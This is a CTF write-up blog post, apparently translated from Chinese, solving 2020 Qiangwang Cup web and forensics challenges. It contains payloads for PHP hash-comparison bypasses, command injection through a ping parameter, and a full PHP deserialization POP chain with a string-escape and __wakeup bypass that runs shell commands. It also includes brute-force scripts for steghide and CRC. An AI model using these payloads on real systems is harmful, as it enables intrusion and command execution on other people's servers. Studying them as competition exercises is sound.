2020 Top Net Cup Some Topics Reappear


The code is rotten, the game dishes are waiting for the big guy to bring it every day. This time I made three questions, and I missed the offline competition. It seems that I need to find a thigh to hold it in the future (starting nonsense)

Strong network pioneer


include 'conn.php';
//level 1
if ($_GET["hash1"] != hash("md4", $_GET["hash1"]))
    die('level 1 failed');

//level 2
if($_GET['hash2'] === $_GET['hash3'] || md5($_GET['hash2']) !== md5($_GET['hash3']))
    die('level 2 failed');

//level 3
$query = "SELECT * FROM flag WHERE password = '" . md5($_GET["hash4"],true) . "'";
$result = $mysqli->query($query);
$row = $result->fetch_assoc(); 


To bypass the first level, you need to find a special string. The condition that this special string needs to meet is that it is equal to itself after md4 encryption. This was originally intended to be blasting, but it was too slow, and dozens of teams were able to solve the problem, so I decided to give up the blasting method. Google it. (Important settings, set the Google language to hacker) Then I found a similar knowledge point in a big guy's blog.
Found this special string 0e251288019
Submitting can bypass the first level, and the remaining two can be bypassed. The second is a very simple md5 bypass, using an array, and the third is a special case of md5 characters, which was done just before the competition. For such a question, please refer to my blog for details. https://blog.csdn.net/qq_45836474/article/details/107940521#t5
Summary: Constructing the payload



Test site: command execution


if(preg_match("/flag/i", $_GET["ip"]))
    die("no flag");

system("ping -c 3 $_GET[ip]");


The get method submits the IP parameter, but there cannot be a flag in the parameter, it is a matching flag string, so the blacklist can bypass the flag.
payload?ip=|ls sees two files are flag.php and index.php

After testing, it is found that spaces are also filtered, and %20 is used to bypass spaces.
construct payload


Execute the command to view the source code, the flag is in the source code.


The attachment of the title is a data packet, open wireshark, and see that there is an http request, first export the http object and see two files, an html file and a php file.

The content of the html is

<meta charset="utf-8">
    <form action="steghide.php" method="post"  
        <label for="file">file name:</label>  
        <input type="file" name="file" id="file" />      
        <input type="submit" name="submit" value="submit" />  
	<!--i use steghide with a good password-->

Comment out a good password.
The picture was not exported. The original attempt was to directly copy the hexadecimal and create a new picture, but the result failed. Learned a new way this time,

You can export a jpg image,

Then use steghide to continue solving the problem. If there is no password prompt, the idea is: you can find the above comment, or the file name, and then the weak password.
This is a weak password, 123456

However, this method is not very stable and cannot be guessed every time, so there is a tool on github for brute force cracking.

a sh script


for line in `cat $2`;do
    steghide extract -sf $1 -p $line > /dev/null 2>&1
    if [[ $? -eq 0 ]];then
        echo 'password is: '$line

tip: If you write a script from a file you created, remember to elevate the script permission to executable.
There are other scripts, but I think this one looks less hh

web assist

This question is about constructing a pop chain. I have never done such a question, so it is a bit difficult to read. This time I will find a few more questions of this kind to summarize. Reference blog - DASCTF June Competition Summary—phpnus
The source code in the title attachment is given Click to pack
In class.php, you can check the unfamiliar functions involved in the three classes first.

  1. The __construct() function creates a new SimpleXMLElement object.
  2. The gettype() function is used to get the type of a variable.
  3. __destruct() - All references to the object are deleted or executed when the object is explicitly destroyed (actually the destructor). There are several more interesting sayings, Zhong Kui's passive, the one after being killed. It can also be said to write a will. It's very interesting, but the netizens have a big brain hole.
  4. __wakeup(), let’s talk about the sleep function first. During serialization, the serialize() function will check whether there is a magic method __sleep() in the class. If it exists, the method will be called first, and then the serialization operation will be performed. Of course, __wakeup() is the opposite of deserialization. The unserialize() function will also detect the existence of the __wakeup() function, and then execute the contents of the __wakeup() function first. Deserialization is in progress.
  5. __invoke(), the response method when calling an object by calling a function

There are also points to pay attention to when constructing a pop chain.

After the private variable is serialized, the invisible character %00 needs to be manually added to the left and right of the variable name.
After the protected variable is serialized, you need to manually add invisible characters around the asterisk * before the variable, so that
It becomes %00*%00.

Now let's start solving the problem.
The three classes in class.php need the cat flag, so they need to be nested from the input

Look at this first, the following __toString() function is called, and the command of cat flag can be executed. So you need to call the magic method function in the jungle class first.
Continue to read above,

In the topsolo class, instantiate an object, then call it, call it as a function, and finally destruct it.
And this can be called with a new object in the following class, which can trigger the magic method in midsolo - the invoke function

Finally, a new object is created in the jungle class, the toString function is triggered, and the function of the cat flag is involved.

class topsolo{
    protected $name="Riven";

    public function __construct(){
        $this->name = new midsolo();

class midsolo{
    protected $name;

    public function __construct(){
        $this->name = new jungle();

class jungle{
    protected $name = "Lee Sin";
    public function __toString(){
        system("cat /flag");
        return "";  
$lol=new topsolo();

The constructed pop chain

O:7:"topsolo":1:{s:7:"%00*%00name";O:7:"midsolo":1:{s:7:"%00*%00name";O:6:"jungle":1:{s:7:"%00*%00name";s:7:"Lee Sin";}}}

Similarly, in index.php, the player class is serialized and written into the file

Serialize the player

class player{
    protected $user;
    protected $pass;
    protected $admin;

    public function __construct($user, $pass, $admin = 1){
        $this->user = $user;
        $this->pass = $pass;
        $this->admin = $admin;

    public function get_admin(){
        return $this->admin;
$lol=new player();

The result is:


Then see player.php to see the read operation, deserialize the content read into the file

There is also filtering, which involves deserializing string escaping,

The written \0*\0 becomes chr(0)*chr(0) three characters after filtering, of which two characters are swallowed. So is the string escape.
In the source code, only the player class has been deserialized, so the pop chain needs to be changed.

But before there is,

23 characters will be swallowed and replaced 11.5 times, add a character here, add a character to password to filter it out, so that 24 characters can be filtered and replaced 12 times.

So the payload is

&password=1";s:7:"%00*%00pass";O:7:"topsolo":1:{s:7:"%00*%00name";O:7:"midsolo ":1:{s:7:"%00*%00name";O:6:"jungle":1:{s:7:"%00*%00name";s:7:"Lee Sin";}}};s:8:"%00*%00admin";i:1;}

Another filter condition is name,

Filter usage: replace lowercase s with uppercase S, and convert name to hexadecimal \6e\61\6d\65, and it can be parsed
Also, when deserializing, you need to skip this magic method,

Bypass method: I didn't understand why I had to enter a 2 to replace 1 to bypass the wakeup magic method. Baidu took a look. Found this to be a CVE vulnerability
Bypass is: when the number of member attributes is greater than the actual number, it can be bypassed
This is why you need to enter a 2 to replace the 1, and you can also enter other numbers.
final payload

?username=m0re\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0&password=1";S:7:"%00*%00pass";O:7:"topsolo":1:{S:7:"%00*%00\6e\61\6d\65";O:7:"midsolo":2:{S:7:"%00*%00\6e\61\6d\65";O:6:"jungle":1:{S:7:"%00*%00\6e\61\6d\65";s:7:"Lee Sin";}}};s:8:"%00*%00admin";i:1;}

Visit play.php to see the flag.

run get flag
Finally, thanks to the environment provided by the qwzf boss. tql
Reference article - The 4th "Qiangwang Cup" National Cyber ​​Security Challenge WP


doll puzzle,
first round

Select View Request to find

part of the flag
Second pass
Copy everything except flag. Put it in a log file suffixed with .log. This is the log file of wireshark, re-import wireshark.
tip: Different versions have different import locations.
Some are SSL, some are TLS
Import location: Edit - Preferences - Protocols - SSL (or TLS)

then see

get method, so directly access the URL to get the picture and save it locally.
Drag the picture into 010editor and see a string of base64 strings at the end

Decrypt to get some flag s
The third level
In the place of the penultimate third and fourth IDAT of the picture

Perform base64 decoding to get binary numbers

Use python's PIL module to draw

from PIL import Image

x = 60   #x coordinate 
y = 60   #y coordinate 

im = Image.new("RGB", (x, y)) 
file = open('m0re.txt','r') 

for i in range(0, x):
    for j in range(0, y):
            im.putpixel((i, j), (0, 0, 0))
            im.putpixel((i, j), (255, 255, 255))


Note: PIL module is only suitable for python2 version, you can use pillow instead in python3.
Install pillow module

pip install pillow

Successfully get the QR code

Pay attention to the order, otherwise the correct code will not be restored. From top to bottom.
Scan to get the Baidu network disk link.

Fourth pass
A compressed package in the network disk link with a picture in it.

Used here, steghide is used for blasting. I lost this tool for a long time. It turned out that it was in the tool bag in my computer, and I vomited.

In fact, the same principle as the script, =.=
That's the importance of dictionaries. Change to a bigger dictionary

Password: power123
Then use stegdetect to test, what kind of steganography is the test

stegdetect.exe -tjopi -s 10.0 <filename.jpg>

Three stars, and it's jphide steganography. Blast the password above and use tools to solve the problem

Using the Seek module, enter a password, and set the exported file type. It can be set to flag.txt here.

Level 5
The downloaded level5 has pseudo-encryption, and the other ones are ignored, and the first one is changed first. You can drag level5.png out and find the flag.
Level 6
CRC blasting, because the three files in the sixth level compressed package are very small, only a few bytes
So directly use the script to blast


import binascii
import string

#dic=string.printable   #Various printed characters
crc1 = 0x9aeacc13  # Remember to start with 0x
crc2 = 0xeed7e184
crc3 = 0x289585af
def CrackCrc5(crc):
    for i in dic :
        for j in dic:
            for p in dic:
                for q in dic:
                    for h in dic:
                        if crc == (binascii.crc32(s.encode("ascii"))):
                            return 1
def CrackCrc4(crc):
    for i in dic :
        for j in dic:
            for p in dic:
                for q in dic:
                        if crc == (binascii.crc32(s.encode("ascii"))):
                            return 1

It takes a little longer, so be patient.
Level 7

Compress this image, note that it is compressed into a zip archive. Compression method is important.
Then perform a plaintext attack. Attack with tools

It turns out that you don't have to wait, poof! I waited thirteen minutes. . . spit
Pay attention to manually pause the attack, and then make sure to save it.
Decrypted successfully.
Two identical images, consider the blind watermark.

successfully get
Get part of the flag, and then a URL
Level 8
Access the prompt URL

I can't see anything, (there are few questions, I haven't seen it), see that the big guy wp is snow steganography. long knowledge.

snow steganography requires a password, and this is the password.
Online website decryption

get the last part of the flag


Knowledge to understand:

snow is a software that embeds steganographic information in html. Its principle is to embed hidden information by embedding spaces and tabs at the end of the text file. The combination of different spaces and tabs represents different embedded information.

I learned a lot this time, but the more questions you do, the better. Multiple questions. Strive for the next game to be able to enter the line once. Keep going.

Tags: CTF

Posted by Dragen on Fri, 20 May 2022 19:04:52 +0300